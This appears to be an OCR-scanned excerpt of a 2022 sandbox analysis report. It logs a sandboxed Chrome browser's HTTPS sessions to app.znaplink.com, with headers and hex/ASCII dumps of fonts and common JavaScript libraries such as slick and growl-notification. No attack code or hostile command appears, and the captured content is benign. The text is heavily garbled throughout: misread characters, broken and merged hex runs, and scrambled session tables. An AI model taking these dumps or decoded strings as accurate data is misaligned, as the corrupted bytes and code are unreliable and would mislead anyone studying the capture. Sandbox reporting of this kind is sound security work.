0224 096 57.3 96 128s57.3 128 128 128

Data Raw: 38 2e 39 37 20 38 38 2e 39 35 63 31 35 2e 30 33 20 31 35 2e 30 33 20 34 30 2e 39 37 20 34 2e 34 37 20 34
30 2e 39 37 2d 31 36 2e 39 37 56 38 39 2e 30 32 63 30 2d 32 31 2e 34 37 2d 32 35 2e 39 36 2d 33 31 2e 39 38 2d 34 30
2e 39 37 2d 31 36 2e 39 38 7a 6d 31 32 33 2e 32 20 31 30 38 2e 30 38 63 2d 31 31 2e 35 38 2d 36 2e 33 33 2d 32 36 2e
31 39 2d 32 2e 31 36 2d 33 32 2e 36 31 20 39 2e 34 35 2d 36 2e 33 39 20 31 31 2e 36 31 2d 32 2e 31 36 20 32 36 2e 32
20 39 2e 34 35 20 33 32 2e 36 31 43 33 32 37 2e 39 38 20 32 32 39 2e 32 38 20 33 33 36 20 32 34 32 2e 36 32 20 33 33
36 20 32 35 37 63 30 20 31 34 2e 33 38 2d 38 2e 30 32 20 32 37 2e 37 32 2d 32 30 2e 39 32 20 33 34 2e 38 31 2d 31 31
2e 36 31 20 36 2e 34 31 2d 31 35 2e 38 34 20 32 31 2d 39 2e 34 35 20 33 32

Data Ascii: 8.97 88.95c15.03 15.03 40.97 4.47 40.97-16.97V89.02c0-21.47-25.96-31.98-40.97-16.98zm123.2 108.08c-
11.58-6.33-26.19-2.16-32.61 9.45-6.39 11.61-2.16 26.2 9.45 32.61C327.98 229.28 336 242.62 336 257c0 14.38-8.02
27.72-20.92 34.81-11.61 6.41-15.84 21-9.45 32

Data Raw: 6e 67 74 68 29 3b 6¢ 3c 63 2e 6¢ 65 6e 67 74 68 3b 6¢ 2b 2b 29 68 5b 6¢ 5d 3d 63 5b 6¢ 5d 3b 72 65 74 75
72 6e 20 68 7d 7d 28 63 29 7c 7c 66 75 6e 63 74 69 6f 6e 28 63 29 7b 69 66 28 53 79 6d 62 6f 6¢ 2e 69 74 65 72 61 74 6f
72 20 69 6e 20 4f 62 6a 65 63 74 28 63 29 7c 7c 22 5b 6f 62 6a 65 63 74 20 41 72 67 75 6d 65 6e 74 73 5d 22 3d 3d 3d
4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6¢ 6¢ 28 63 29 29 72 65 74 75 72 6e
204172 726179 2e 66 72 6f 6d 28 63 29 7d 28 63 29 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 6e 65 7
72054797065 45 72 72 6f 72 28 22 49 6e 76 61 6¢ 69 64 20 61 74 74 65 6d 70 74 20 74 6f 20 73 70 72 65 61 64 20 6e
6f 6e 2d 69 74 65 72 61 62 6¢ 65 20 69 6e 73 74 61 6e 63 65 22 29

Data Ascii: ngth);l<c.length;++)h[l]=c[l];return h}}(c)||function(c){if(Symbol.iterator in Object(c)||"[object Argument
s]"===0bject.prototype.toString.call(c))return Array.from(c)}(c)||function(){throw new TypeError("Invalid attempt to spread
non-iterable instance")
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Timestam
P transferred

2022-05-13 12:56:13 UTC 2122

2022-05-13 12:56:13 UTC 2138

Session ID Source IP
21 192.168.2.5
. kBytes
Ti t
imestamp transferred

2022-05-13 12:56:12 UTC 744

2022-05-13 12:56:12 UTC 808

2022-05-13 12:56:12 UTC 872

2022-05-13 12:56:12 UTC 888

2022-05-13 12:56:12 UTC 904

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49800

Direction

ouT

Data

Data Raw: 72 6f 74 61 74 65 22 3a 63 2e 72 6f 74 61 74 65 3d 63 2e 72 6f 74 61 74 65 2b 61 7d 72 65 74 75 72 6e 20 63
7d 2c 6¢ 29 3a 6¢ 7d 3b 66 75 6e 63 74 69 6f 6e 20 4d 6¢ 28 63 29 7b 76 61 72 20 6¢ 2¢ 68 2¢ 7a 2¢c 61 2¢ 76 2c 6d 2¢
73 2c 65 2¢ 74 3d 65 6¢ 28 63 29 2c 4d 3d 74 2e 69 63 6f 6e 4e 61 6d 65 2c 66 3d 74 2e 70 72 65 66 69 78 2¢ 72 3d 74
2e 72 65 73 74 2c 48 3d 28 6¢ 3d 63 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 73 74 79 6¢ 65 22 29 2¢ 68 3d 5b 5d
2c 6¢ 26 26 28 68 3d 6¢ 2e 73 70 6¢ 69 74 28 22 3b 22 29 2e 72 65 64 75 63 65 28 66 75 6e 63 74 69 6f 6e 28 63 2¢ 6C
29 7b 76 61 72 20 68 3d 6¢ 2e 73 70 6¢ 69 74 28 22 3a 22 29 2c 7a 3d 68 5b 30 5d 2c 61 3d 68 2e 73 6¢ 69 63 65 28 31
29 3b 72 65 74 75 72 6e 20 7a 26 26 30 3c 61 2e 6¢ 65 6e 67 74 68 26 26

Data Ascii: rotate":c.rotate=c.rotate+a}return c},l):1};function Mi(c){var I,h,z,a,v,m,s,e,t=el(c),M=t.iconName,f=t.prefix,r=t.res
t,H=(I=c.getAttribute("style"),h=[],I&&(h=l.split(";").reduce(function(c,l){var h=l.split(":"),z=h[0],a=h.slice(1);return z&&0<a.l
ength&&

Data Raw: 6f 69 64 20 30 3d 3d 3d 69 3f 7b 7d 3a 69 2c 43 3d 6¢ 2e 73 74 79 6c 65 73 2¢ 4c 3d 76 6f 69 64 20 30 3d 3d
3d 43 3f 7b 7d 3a 43 3b 69 66 28 63 29 7b 76 61 72 20 64 3d 63 2e 70 72 65 66 69 78 2c 75 3d 63 2e 69 63 6f 6e 4e 61
6d 65 2c 70 3d 63 2e 69 63 6f 6e 3b 72 65 74 75 72 6e 20 78 6¢ 28 47 28 7b 74 79 70 65 3a 22 69 63 6f 6e 22 7d 2c 63
29 2¢ 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5a 6¢ 28 29 2c 24 2e 61 75 74 6f 41 31 31 79 26 26 28 66 3f
6f5b 22 61 72 69 61 2d 6¢ 61 62 65 6C 6¢C 65 64 62 79 22 5d 3d 22 22 2e 63 6f 6e 63 61 74 28 24 2e 72 65 70 6¢ 61 63 6
5 6d 65 6e 74 43 6¢ 61 73 73 2¢ 22 2d 74 69 74 6¢ 65 2d 22 29 2e 63 6f 6e 63 61 74 28 48 7c 7c 70 63 28 29 29 3a 28 6f
5b 22 61 72 69 61 2d 68 69 64 64 65 6e 22 5d 3d 22 74 72 75 65 22

Data Ascii: oid 0===i?{}:i,C=l.styles,L=void 0===C?{}:C;if(c){var d=c.prefix,u=c.iconName,p=c.icon;return xI(G({type:"ic
on"},c),function(){return ZI(),$.autoA11y&&(f?o["aria-labelledby"]="".concat($.replacementClass,"-title-").concat(H||pc()):
(o["aria-hidden"]="true"

Destination
Destination IP Process
Port

165.227.107.5 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Data

GET /themes/altum/assets/fonts/Eudoxus-Sans-font/EudoxusSans-Bold.woff2 HTTP/1.1
Host: app.znaplink.com

Connection: keep-alive

Origin: https://znap.link

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebK:it/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept: */*

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: font

Referer: https://app.znaplink.com/themes/altum/assets/css/custom.css?v=2&init=1652446571
Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

HTTP/1.1 200 OK

Date: Fri, 13 May 2022 12:56:12 GMT

Server: Apache/2.4.41 (Ubuntu)

Last-Modified: Mon, 14 Jun 2021 10:00:25 GMT
ETag: "a868-5c4b6ed285739"

Accept-Ranges: bytes

Content-Length: 43112
Access-Control-Allow-Origin: *

Connection: close

Content-Type: font/woff2

Data Raw: 77 4f 46 32 00 01 00 00 00 00 a8 68 00 11 00 00 00 01 fa 6¢ 00 00 a8 05 00 02 01 47 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 1a 82 16 1b €3 60 1c a7 62 06 60 00 91 2¢ 08 7e 09 9c 15 11 08 Oa 85 91 64 84 c7
42 0136 02 24 03 a4 62 0b 92 34 00 04 20 05 8¢ 1a 07 dd 65 Oc 81 4b 5b e6 ca 91 06 99 72 d7 d5 97 c5 46 00 9d 63 db
52 05 2e 72 d0 4a aa 46 36 77 91 55 €9 bc al 57 27 26 cb e2 02 ee fa ee 56 72 d5 48 c3 4d c8 fe ff ff ff ff ff 35 c9 44 c6 ec
12 ec 2529 6d 41 11 a6 e2 d4 17 75 bf 7f dO 48 Of 64 f4 e8 65 5f 6a ab 21 0a 8a 46 50 23 a8 bl fb e0 08 8a d1 cd 7b c2 f6
01c7 6184 8bc9e5718a98bl el 2be7ac512f4deec57ce259 31 9c¢ 30 ¢8 b0 ch 60 92 58 b5 15 6e b8 ca 55 2¢ dd
bf 65 bf 2a ¢7 c1 6f 33 72 5e 90 71 0f cf 22 fc 52 cc

Data Ascii: WOF2hIG'b",~dB6$b4 eK[rFcR.rIF6WUW'&VrHM5D%)mAuHde_j!IFP#{aq+Q/M|Y10 XnU,e*03rq"R

Data Raw: c2 10 ea d3 b0 03 0d 8c ca 4a bb 4a c3 e3 7f 89 65 ba 5¢ 72 4d 54 53 6b ae f5 13 b3 f4 2a 2b 82 30 98 2c 58
4a 11 87 cl 4c 2e 55 24 15 24 0a 8d 26 7d d6 5d 02 ef 86 97 34 22 4a ae Oe 20 al 03 d6 f0 67 dO e8 4c 74 69 14 41 aa
32 cc 6¢ 3b 50 19 fe 1c 1la cd ab 18 d9 b4 ba 28 81 14 ed 17 fc aa 8f 1c €3 89 21 71 51 a8 d2 bf 83 8a 83 59 bd 0a 02 b8
f2 12 da 18 b7 c0 d8 d1 6e 00 00 fb 95 b9 33 23 03 7 18 ¢5 8b f2 d6 17 47 9e 93 79 5¢ 0d a3 ea b2 e6 ce 25 d1 d7 2f 12
33 af 65 5d 8 93 bf a2 75 66 64 €2 3e 41 5d ab Oc 7f 01 bd 98 bb af 8d 2c 1d 69 e4 60 97 d2 38 48 b3 d0 4c 46 6f 6b f8
73 52 de a5 19 55 de f9 64 7 {5 cf 6f 4b d7 6d {8 5d a6 79 27 Oa 7f eb 1b c9 b7 6d 9e 2c 47 bd e0 c6 ea 77 93 ce 65 af c3
eb5 fa 43 a3 37 09 8a 44 9b 8d e2 5f bb 17 a4 08 de cc 5b

Data Ascii: JJe\rMTSk*+0,XJL.U$$&}]4"J gLtiA2l;P(1qQYn3#Gy\%/3e]ufd>A],i"8HLFoksRUdoKm]y'm,GweC7D_|[

Data Raw: 19 d2 02 a4 f5 63 ab 86 20 87 55 c8 f1 ef d7 46 b1 6b f7 ea c4 61 a9 88 09 51 94 df 8e 15 2d Ob f8 ae 86 c4 dc
b5 9c 13 65 b6 6d 50 da 71 5f el 4b cfa7 97 d5 99 b1 27 21 82 de 78 75 62 Of Oe 30 63 5e 19 47 24 e6 17 95 5e 9f €9 00
80 0b 9e b1 37 4a 86 00 a6 4d 64 3f 3e 5a d4 35 1c e8 9a 3f 2e da 39 df b8 99 1b ef ac 3f 96 03 eb d8 0a a2 35 3d af 89
10 46 76 32 ab 26 97 d6 a0 71 39 cb d7 d2 c1 80 ae c1 a7 f8 €3 60 0d 34 10 a5 c8 06 1d b6 4b 01 el d2 33 e3 0b 3c 78
1bc5c9 17 3e 5f 80 a0 61 ae 13 fa 71 f1 3c ¢5 d8 3a 23 31 63 cd 8¢ 2b 63 dc bd 36 30 b2 ad 89 0Ob a7 05 74 dd 7a 62 c6
19 cl1 d4 45 85 9d a4 al 16 b6 8e f0 87 26 d5 ff db e0 ef fc d5 84 2d 02 96 fd 5e ff dd a7 52 c1 26 20 20 ec b7 ee 3f 7c c2
b0 85 a2 57 a9 9c 61 e6 ff 6d 84 df f9 ab b0 34 5f 5f

Data Ascii: ¢ UFkaQ-emPq_K'Ixub0c"G$"7IMd?>25?.9?5=Fv2&q9 4K3<x>_aq<i#1c+c60tzbE&-"R& ?|Wam4__
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Session ID Source IP
22 192.168.2.5
. kBytes
Ti t
imestamp transferred

2022-05-13 12:56:12 UTC 744

2022-05-13 12:56:12 UTC 807

2022-05-13 12:56:12 UTC 840

2022-05-13 12:56:12 UTC 856

2022-05-13 12:56:12 UTC 978

Session ID Source IP

23 192.168.2.5
. kBytes

UGS transferred

2022-05-13 12:56:12 UTC 840

Copyright Joe Security LLC 2022

Source Port

49799

Direction

ouT

Source Port

49804

Direction

ouT

Destination

Destination IP Process

Port
165.227.107.5 443 C:\Program Files\Google\Chrome\Application\chrome.exe
Data

GET /themes/altum/assets/fonts/Eudoxus-Sans-font/EudoxusSans-Regular.woff2 HTTP/1.1
Host: app.znaplink.com

Connection: keep-alive

Origin: https://znap.link

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept: */*

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: font

Referer: https://app.znaplink.com/themes/altum/assets/css/custom.css?v=2&init=1652446571
Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

HTTP/1.1 200 OK

Date: Fri, 13 May 2022 12:56:12 GMT

Server: Apache/2.4.41 (Ubuntu)

Last-Modified: Mon, 14 Jun 2021 10:00:32 GMT
ETag: "a290-5c4b6ed954cle"”

Accept-Ranges: bytes

Content-Length: 41616
Access-Control-Allow-Origin: *

Connection: close

Content-Type: font/woff2

Data Raw: 77 4f 46 32 00 01 00 00 00 00 a2 90 00 11 00 00 00 01 f4 a8 00 00 a2 2c 00 02 01 47 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 1a 82 16 1b e3 2a 1c a7 62 06 60 00 91 2c 08 7e 09 9c 15 11 08 Oa 85 86 2¢ 84 bb
3501 36 02 24 03 a4 62 0b 92 34 00 04 20 05 8¢ 41 07 dd 65 Oc 81 4b 5b ca c4 91 05 a6 71 ed df 22 2f 06 01 ba 0d 01
5e cd 2d 2d ad b8 c9 05 54 af b5 1b 41 6f 56 fc 67 f7 46 f4 a3 1a b6 4d Ob 7a dO 1d 81 bc 8a 6a c1 20 fb ff ff ff ff ff 35 c9
24 0e bd e4 b9 e4 ff 01 a0 ba ae b5 b5 a6 db 40 53 9¢ 16 13 2¢ 83 55 ac 13 a3 74 2d 83 1a 41 a5 b2 c6 b5 ba 95 44 b2
ac 75 66 a8 29 Oc b5 29 34 18 48 b0 7 21 36 4d 4e 64 14 dd 18 23 7c 62 9a 53 25 9d 30 53 63 b4 Oe 9e bc 5a d0 66 44
e1 58 85 89 da 5d b8 70 bf 6¢ 6¢ 2b 44 e5 2a b3 fa 51 fe ee a6

Data Ascii: WOF2,G*b",~,56%b4 AeK[q"/"--TAoVgFMzj 5$@S,Ut-ADuf))4H!6MNd#|bS%0ScZfDX]pll+D*Q

Data Raw: 5e 20 75 93 90 13 b5 01 al 47 67 c6 65 aa b9 ab ef 92 ac 7f 04 5d 80 d1 84 03 ea 36 4b 19 53 €8 17 ac 6d f2
f1 04 82 4f d3 d7 34 9e 68 b4 4b a5 26 f1 3c df 6a c2 fd 9b 0d ae cc b9 82 4e 25 98 70 94 56 11 5b 4a c0 f1 b9 5a d9 33
€981 4d a9 34 db 75 83 b0 09 77 9¢ 57 c9 be 99 3c 13 ee ab 16 05 33 el 68 71 d9 fb 9a d9 ab b2 05 19 6b eb a3 7f 2d
ab 8a b0 10 27 fb f8 3e e6 f3 b1 bb 63 33 b3 63 37 bb 29 9f cO 3f d8 3e bd 7e c8 6a 45 06 fa f4 66 73 af Oe 19 b4 da f4 83
7d 3ae3 99 79 80 e5 b9 90 a0 50 20 d0 eb el 8 80 b8 34 fc 9f 9f 66 2e 3f 63 ef 41 e3 c1 d7 b3 28 6 ec 99 c2 56 84 {3 e6
3d 98 3e 85 8f 29 09 b9 78 5e be 04 ef 1a 45 06 ba f5 fa 29 9d 3a 4d fc c3 2c de al 4a 4b 98 a4 1d 7a d5 63 ac 96 f1 a2
4b 69 ca 2c 8e 8a Oe b3 2a d4 f4 5d 2e 05 58 f8 57 a0

Data Ascii: * uGge]6KSmO4hK&<jN%pV[IZ3M4uwW<3hgk->c3c7)?>~Efs}:yP 4f.2cA(V=>)X"E):M,IKzcKi,*].XW

Data Raw: 78 ¢5 db 7f 86 94 bb 39 ae 6 ef 44 70 77 73 f7 6¢ 7e 76 3e bb 80 52 0f 01 cb 34 5a ae 60 cf 80 51 bd 5d 93 36
7 7f 93 21 02 5¢ 3e 28 4d 8d 13 b6 c8 02 27 a7 dc aa le d5 a2 6f e0 ba b5 3c 6d 69 2a 37 17 20 99 ff 84 11 c5 47 d0 6¢
71 5e a0 2c¢ 52 74 33 bf 13 96 2c ba f8 €0 fb a7 fb 14 40 1c ca 01 50 e0 c¢8 05 10 79 a9 8f 79 b1l cb d6 f2 75 5a 3e 9b 39
75 67 10 4b Oe 9e 11 0d 45 ce Ob ed 64 76 b3 1a b9 f7 eb 05 8b 71 65 27 73 Oe 34 81 45 86 Oa dd 92 02 6¢ Oa 89 4b 40
ad c5 ¢6 3c 5b fd 3a 79 8¢ d1 6e Oa aa c8 a8 32 95 43 9f cb 4c 34 6f 86 c4 da e7 5¢c b0 73 b6 2f cc 37 be ce ac 24 8f c0 42
fd 5¢ b6 2a 02 b4 7b ea a4 22 b2 54 81 5 9d dc 9c 4b 37 cb €5 98 a6 7a 5e 1c ba 65 6d 31 89 d2 c3 7c 3a 39 c2 08 b2

12 8b f3 b8 02 7c ba fb b3 b6 21 Ob cc d3 83 b0 cb ba db

Data Ascii: X9Dpwsl~v>R4Z Q]6\>(M'o<mi*7 Glg”,Rt3,@PyyuZ>9ugKEdvae's4EIK@<[:yn2CL40\s/7$B\*{"TK7z"em1|:9|!

Destination
Destination IP Esunatio Process
Port

165.227.107.5 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Data

GET /themes/altum/assets//slick/slick.min.js HTTP/1.1

Host: app.znaplink.com

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept: */*

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: script

Referer: https://znap.link/andrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-
michell.com

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9
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kBytes

Timestam
P transferred

2022-05-13 12:56:13 UTC 987

2022-05-13 12:56:13 UTC 1117

2022-05-13 12:56:13 UTC 1133

2022-05-13 12:56:13 UTC 1309

Session ID Source IP
24 192.168.2.5
. kBytes
Tim m|
imestamp transferred

2022-05-13 12:56:13 UTC 1099

2022-05-13 12:56:13 UTC 1319

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49807

Direction

ouT

Data

HTTP/1.1 200 OK

Date: Fri, 13 May 2022 12:56:12 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Tue, 03 Oct 2017 22:49:30 GMT
ETag: "a76f-55aac4dd17280"
Accept-Ranges: bytes

Content-Length: 42863

Cache-Control: max-age=2592000
Expires: Sun, 12 Jun 2022 12:56:12 GMT
Vary: Accept-Encoding

Connection: close

Content-Type: application/javascript

Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 69 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 66 75 6e 63 74 69 6f 6e 22
3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71
756572 79 22 5d 2c 69 29 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f
64 75 6¢ 65 2e 65 78 70 6f 72 74 73 3d 69 28 72 65 71 75 69 72 65 28 22 6a 71 75 65 72 79 22 29 29 3a 69 28 6a 51 75
65 72 79 29 7d 28 66 75 6e 63 74 69 6f 6e 28 69 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 3d 77 69
6e 64 6f 77 2e 53 6¢ 69 63 6b 7c 7c 7b 7d 3b 28 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 30 3b 72 65
74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 6f 29 7b 76 61 72 20

Data Ascii: !function(i){"use strict";"function"==typeof define&&define.amd?define(["jquery"],i):"undefined"!=typeof exports?
module.exports=i(require(“jquery")):i(jQuery)}(function(i){"use strict";var e=window.Slick||{};(e=function(){var e=0;return f
unction(t,0){var

Data Raw: 3d 6e 2e 73 6¢ 69 64 65 43 6f 75 6e 74 25 6e 2e 6f 70 74 69 6f 6e 73 2e 73 6¢ 69 64 65 73 54 6f 53 63 72 6f
6c 6¢ 2a 74 2a 2d 31 29 29 29 3a 69 2b 6e 2e 6f 70 74 69 6f 6e 73 2e 73 6¢ 69 64 65 73 54 6f 53 68 6f 77 3e 6e 2e 73 6¢
69 64 65 43 6f 75 6e 74 26 26 28 6e 2e 73 6¢ 69 64 65 4f 66 66 73 65 74 3d 28 69 2b 6e 2e 6f 70 74 69 6f 6e 73 2e 73 6¢
69 64 65 73 54 6f 53 68 6f 77 2d 6e 2e 73 6¢ 69 64 65 43 6f 75 6e 74 29 2a 6e 2e 73 6¢ 69 64 65 57 69 64 74 68 2¢ 72 3d
28 69 2b 6e 2e 6f 70 74 69 6f 6e 73 2e 73 6¢ 69 64 65 73 54 6f 53 68 6f 77 2d 6e 2e 73 6¢ 69 64 65 43 6f 75 6e 74 29 2a
74 29 2c 6e 2e 73 6¢ 69 64 65 43 6f 75 6e 74 3c 3d 6e 2e 6f 70 74 69 6f 6e 73 2e 73 6¢ 69 64 65 73 54 6f 53 68 6f 77 26
26 28 6e 2e 73 6¢ 69 64 65 4f 66 66 73 65 74 3d 30 2c 72

Data Ascii: =n.slideCount%n.options.slidesToScroll*t*-1))):i+n.options.slidesToShow>n.slideCount&&(n.slideOffset=
(i+n.options.slidesToShow-n.slideCount)*n.slide Width,r=(i+n.options.slidesToShow-n.slideCount)*t),n.slideCount<=n.opt
ions.slidesToShow&&(n.slideOffset=0,r

Data Raw: 6e 54 79 70 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 22 29 2c 69 2e 74 72 61 6e 73 66 6f 72 6d 73 45 6e 61 62
6c 65 64 3d 69 2e 6f 70 74 69 6f 6e 73 2e 75 73 65 54 72 61 6e 73 66 6f 72 6d 26 26 6e 75 6¢ 6¢ 21 3d 3d 69 2e 61 6e 69
6d 54 79 70 65 26 26 21 31 21 3d 3d 69 2e 61 6e 69 6d 54 79 70 65 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74
53 6¢ 69 64 65 43 6¢ 61 73 73 65 73 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 2c 74 2c 6f 2¢c 73 2c 6e 3d 74
68 69 73 3b 69 66 28 74 3d 6e 2e 24 73 6¢ 69 64 65 72 2e 66 69 6e 64 28 22 2e 73 6¢ 69 63 6b 2d 73 6¢ 69 64 65 22 29
2e 72 65 6d 6f 76 65 43 6¢ 61 73 73 28 22 73 6¢ 69 63 6b 2d 61 63 74 69 76 65 20 73 6¢ 69 63 6b 2d 63 65 6€ 74 65 72 2
073 6¢ 69 63 6b 2d 63 75 72 72 65 6e 74 22 29 2e 61 74 74 72 28

Data Ascii: nType="transition"),i.transformsEnabled=i.options.useTransform&&null'==i.animType&&!1!==i.animType
},e.prototype.setSlideClasses=function(i){var e,t,0,s,n=this;if(t=n.$slider.find(".slick-slide").removeClass("slick-active slick-c
enter slick-current”).attr(

Destinati
Destination IP snation Process

Port
165.227.107.5 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Data

GET /themes/altum/assets//growl-notification/growl-notification.min.js HTTP/1.1

Host: app.znaplink.com

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept: */*

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: script

Referer: https://znap.link/andrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-
michell.com

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

HTTP/1.1 200 OK

Date: Fri, 13 May 2022 12:56:13 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Thu, 06 May 2021 22:36:36 GMT
ETag: "46eb-5c1b0flab132e"
Accept-Ranges: bytes

Content-Length: 18155

Cache-Control: max-age=2592000
Expires: Sun, 12 Jun 2022 12:56:13 GMT
Vary: Accept-Encoding

Connection: close

Content-Type: application/javascript
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kBytes

Timestam
P transferred

2022-05-13 12:56:13 UTC 1550

2022-05-13 12:56:13 UTC 1566

Session ID Source IP
25 192.168.2.5
. kBytes
Ti t
imestamp transferred

2022-05-13 12:56:13 UTC 1100

2022-05-13 12:56:13 UTC 1319

2022-05-13 12:56:13 UTC 1568

2022-05-13 12:56:13 UTC 1584

Session ID Source IP

26 192.168.2.5

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49806

Direction

ouT

Source Port

49808

Data

Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 74 2c 69 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f
727473 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6¢ 65 3f 6d 6f 64 75 6C 65 2e 65 78 70 6f
727473 3d 69 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69
6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 47 72 6f 77 6¢ 4e 6f 74 69 66 69 63 61 74 69 6f 6e 22 2¢ 5b 5d 2¢ 69 29 3a
22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 47 72 6f 77 6¢ 4e 6f
74 69 66 69 63 61 74 69 6f 6e 3d 69 28 29 3a 74 2e 47 72 6f 77 6¢ 4e 6f 74 69 66 69 63 61 74 69 6f 6e 3d 69 28 29 7d 28
77 69 6e 64 6f 77 2¢c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65

Data Ascii: !function(t,i){"object"==typeof exports&&"object"==typeof module?module.exports=i():"function"==typeof defin
e&&define.amd?define("GrowlNotification",[],i):"object"==typeof exports?exports.GrowlINotification=i():t. GrowlNotificatio
n=i()}(window,function(){re

Data Raw: 6e 73 3d 7b 7d 2c 74 2e 69 6e 73 74 61 6e 63 65 73 3d 5b 5d 2c 74 7d 28 29 3b 74 2e 65 78 70 6f 72 74 73 3d
70 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 69 2c 6f 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64
65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 69 2c 22 5f 5f 65 73 4d 6f 64 75 6¢ 65 22 2¢ 7b 76 61 6¢ 75 65 3a 21 30 7d 29
3b 76 61 72 20 6e 3d 6f 28 31 29 2c 65 3d 6f 28 32 29 2¢ 73 3d 6f 28 33 29 2¢ 72 3d 6f 28 34 29 2c 63 3d 6f 28 35 29 2¢
61 3d 6f 28 36 29 2c 75 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6 20 74 28 29 7b 7d 72 65 74 75 72 6e
2074 2e 6e 65 77 49 6e 73 74 61 6e 63 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 69 2c 6f 29 7b 76 61 72 20 75 3d 6e 75
6¢ 6¢ 3b 72 65 74 75 72 6e 20 74 3d 3d 3d 6e 2e 54 6f 70 52

Data Ascii: ns={},t.instances=[],t}();t.exports=p},function(t,i,0){"use strict";Object.defineProperty(i," __esModule",{va
lue:!0});var n=0(1),e=0(2),s=0(3),r=0(4),c=0(5),a=0(6),u=function(){function t(){}return t.newlnstance=function(t,i,o){var
u=null;return t===n.TopR

Destination
Destination IP Process
Port

165.227.107.5 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Data

GET /uploads/avatars/https://imagedelivery.net/tqC70bVt8 T6GtQUXNsa2-g/b29c1f6d-97a2-4c09-cfIe-dcaea7596e00/pub
lic HTTP/1.1

Host: app.znaplink.com

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: image

Referer: https://znap.link/andrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-
michell.com

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

HTTP/1.0 404 Not Found

Date: Fri, 13 May 2022 12:56:13 GMT

Server: Apache/2.4.41 (Ubuntu)

Access-Control-Allow-Origin: https://znap.link

Set-Cookie: PHPSESSID=b4m5sfiq621nkpnmnh016a69eq; path=/; SameSite=Lax
Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Connection: close

Content-Type: text/html; charset=UTF-8

